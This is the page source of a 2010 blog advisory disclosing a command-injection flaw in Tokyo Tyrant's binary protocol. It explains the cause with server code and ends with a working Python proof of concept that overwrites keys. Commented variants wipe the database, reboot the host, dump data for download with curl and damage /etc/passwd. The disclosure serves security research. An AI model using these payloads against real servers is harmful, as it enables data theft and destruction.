Source Code: tokyo_tyrant_security_vulnerability.xml
<!DOCTYPE html> <html lang="en"> <head> <!--# include file="design_head.html" --> </head> <body> <!--# include file="design_top.html" --> <nav id="compass"> <ul> <li> <time><py>xpath('//article/time', 'lobsterblog.xml')[0]</py></time> <a href="lobsterblog.html"><py>xpath('//article/h1', 'lobsterblog.xml')[0].text</py> ↪</a> </li> <li> <a href="voice_changer.html">↩ <py>xpath('//article/h1', 'voice_changer.xml')[0].text</py></a> <time><py>xpath('//article/time', 'voice_changer.xml')[0]</py></time> </li> </ul> </nav> <article> <h1>Tokyo Tyrant Protocol Vulnerability</h1> <time>August 13, 2010</time> <div class="toc"> <h2 notoc="notoc">Table of Contents</h2> <toc/> </div> <h2>Synopsis</h2> <summary> <p>A remotely exploitable security flaw was discovered for Tokyo Tyrant (a distributed, persistent key/value store database.) Tokyo Tyrant client connections are vulnerable to command-injection when values exceed 32 kilobytes in size, putting at risk any application or website that uses Tokyo Tyrant to store network data. For example, someone could leave a comment on your blog that steals all your data, modifies database content, ejects your server's CDROM drive, and then proceed to destroy all the data and the server itself.</p> </summary> <h2>Impact</h2> <p>Applications using Tokyo Tyrant to store user submittable data might be vulnerable to the following attacks:</p> <ul> <li>Limited access to shell commands (any command but no arguments)</li> <li>Download an export of the entire database</li> <li>Overwrite files in host computer to which Tyrant has access.</li> <li>Delete the entire database</li> <li>Reprogram database to use a malicious host as the master node.</li> <li>Export a list of keys/values from entire database. (Data retreival attack is slightly more complex)</li> <li>Read/write arbitrary key values</li> <li>Corrupt transport stream to cause undefined behavior in application.</li> <li>An attacker can re-adjust stream alignment after injecting malicious frames thereby causing the application-side Tyrant socket remain functional. This reduces the likelihood of an administrator noticing such attacks (with the exception of a log message.) This attack is possible due to the inventive manner in which Tokyo Tyrant coalesces support for multiple protocols on a single socket (e.g. binary, memcached, http) as well as the presence of the <tt class="docutils literal">putnr()</tt> command which emits no response data.</li> <li> <div> Attackers can inject multiple commands and cause multiple responses to be queued in the application library. Take for example a website implementing the following business logic: </div> <pre class="pig lobsterblog-syntax--python"><![CDATA[ tyrant.put('unknown_key1', 'Whatevz: ' + form_input['field_with_evil_data']) return tyrant.get('unknown_key2') ]]></pre> <div> In the example above an attacker would be able to inject malicious data to perform the following <em>instead of</em> the intended PUT operation: </div> <pre class="pig lobsterblog-syntax--python"> tyrant.put('arbitrary_key', 'extra evil data') tyrant.get('arbitrary_key') </pre> <div> The result of the malicious get operation would then be queued in the application receive socket and override the result of the innocent get() operation in the above app logic. </div> </li> <li> Libraries implementing the Tokyo Tyrant binary protocol contain no assertions to guard against this exploit: <ul> <li><a class="reference external" href="http://github.com/ericflo/pytyrant/blob/master/pytyrant.py#L555">pytyrant</a></li> <li><a class="reference external" href="http://github.com/actsasflinn/ruby-tokyotyrant/blob/master/ext/tokyo_tyrant_db.c#L3">ruby-tokyotyrant</a></li> <li><a class="reference external" href="http://openpear.org/repository/Net_TokyoTyrant/trunk/Net/TokyoTyrant.php">Net_TokyoTyrant</a></li> </ul> </li> </ul> <h2>Practical Considerations</h2> <ul class="simple"> <li>Applications encoding data as compact JSON should be safe, so long as binary data and line feed characters are properly escaped.</li> <li>Applications communicating with Tokyo Tyrant using the HTTP or Memcached protocols <em>should</em> be safe from this vulnerability. While the memcached interface appears to vulnerable, I was not able to find a way to make such an attack work.</li> <li>HTML forms that limit the length of a user's input or reject data which is improperly encoded <em>should</em> be safe.</li> <li>If access to COPY command is blocked, retreival of data generally requires some knowledge of the application using Tokyo Tyrant, and may not be applicable in all scenarios.</li> </ul> <h2>The Problem</h2> <p>Tokyo Tyrant does not "store and forward" protocol frames, but rather uses a <tt class="docutils literal">getchar()</tt> like interface for fetching stream data as needed:</p> <pre class="pig lobsterblog-syntax--c"> /* handle a task and dispatch it */ static void do_task(TTSOCK *sock, void *opq, TTREQ *req){ TASKARG *arg = (TASKARG *)opq; int c = ttsockgetc(sock); int c2; if(c == TTMAGICNUM){ c2 = ttsockgetc(sock); </pre> <p>Tokyo Tyrant ignores stream corruption errors without closing the TCP connection:</p> <pre class="pig lobsterblog-syntax--c"> /* from do_task() @ ttserver.c */ case TTCMDREPL: do_repl(sock, arg, req); break; default: ttservlog(g_serv, TTLOGINFO, "unknown command"); break; /* from do_put() @ ttserver.c */ int ksiz = ttsockgetint32(sock); int vsiz = ttsockgetint32(sock); ttservlog(g_serv, TTLOGINFO, "ksiz=%d, vsiz=%d", ksiz, vsiz); if(ttsockcheckend(sock) || ksiz < 0 || ksiz > MAXARGSIZ || vsiz < 0 || vsiz > MAXARGSIZ){ ttservlog(g_serv, TTLOGINFO, "do_put: invalid parameters"); return; } </pre> <p>Tokyo Tyrant's line handling makes it easy for an attacker to instruct Tyrant to ignore certain data by injecting line feed characters:</p> <pre class="pig lobsterblog-syntax--c"> /* from do_task() @ ttserver.c */ if(c == TTMAGICNUM){ [...] } else { ttsockungetc(sock, c); char *line = ttsockgets2(sock); ttservlog(g_serv, TTLOGINFO, "c=0x%x line: %s", c, line); if(line){ [...] } } </pre> <h2>Proof of Concept</h2> <p>The script below demonstrates the feasability of such attacks:</p> <pre class="pig lobsterblog-syntax--python"><![CDATA[ #!/usr/bin/env python # # tyrant-security.py # import sys import struct import pytyrant if __name__ == '__main__': # overwrite arbitrary key agony = "i'm in ur cloud, corrupting ur data" graffiti = "it wasn't me lol" filler = '.' * (32 * 1024 * 1024) evil_value = "".join([ # the value length being greater than 32KB causes the frame # header to be consumed (for put() this is 10 bytes) '\n', # this causes a readline call in ttserver.c:do_task() to # consume the key name 'hello' so only the user-inputted # value is left-over struct.pack('>BBII', 0xc8, 0x10, len('love'), len(agony)), 'love', agony, struct.pack('>BBII', 0xc8, 0x18, len('hello'), len(graffiti)), 'hello', graffiti, struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), 'filler', filler, ]) tt = pytyrant.Tyrant.open('127.0.0.1', 1978) tt.put('love', 'i love you') print "Before Attack: love = %s" % (tt.get('love')) print "Executing PUT hello = %r... (malicious form input)" % (evil_value[:20]) tt.put('hello', evil_value) print "After Attack: hello = %s" % (tt.get('hello')) print "After Attack: love = %s" % (tt.get('love')) # # eject the cdrom drive and reboot the server # evil_value = "".join([ # '\n', # struct.pack('>BBI', 0xc8, 0x73, len('eject')), 'eject', # struct.pack('>BBI', 0xc8, 0x73, len('reboot')), 'reboot', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # # nuke entire database (vanish) # evil_value = "".join([ # '\n', # struct.pack('>BB', 0xc8, 0x72), # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # # retrieve dump of database # evil_value = "".join([ # '\n', # struct.pack('>BB', 0xc8, 0x73, len('/var/www/media/dbdump.tch')), # '/var/www/media/dbdump.tch', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) # os.system('curl http://victim.com/media/dbdump.tch') # # nuke /etc/passwd # evil_value = "".join([ # '\n', # struct.pack('>BBI', 0xc8, 0x73, len('/etc/passwd')), # '/etc/passwd', # struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)), # 'filler', filler, # ]) ]]></pre> <p>Here is an example invocation:</p> <pre class="pig lobsterblog-syntax--console"> jart@compy:~$ ttserver & jart@compy:~$ python tyrant-security.py Before Attack: love = i love you Executing PUT hello = "\n\xc8\x10\x00\x00\x00\x04\x00\x00\x00#lovei'm i"... (malicious form input) After Attack: hello = it wasn't me lol After Attack: love = i'm in ur cloud, corrupting ur data </pre> <aside> <ul class="tabbies"> <li><a href="tokyo_tyrant_security_vulnerability.xml.html">View Source</a></li> </ul> </aside> </article> <!--# include file="design_footer.html" --> </body> </html>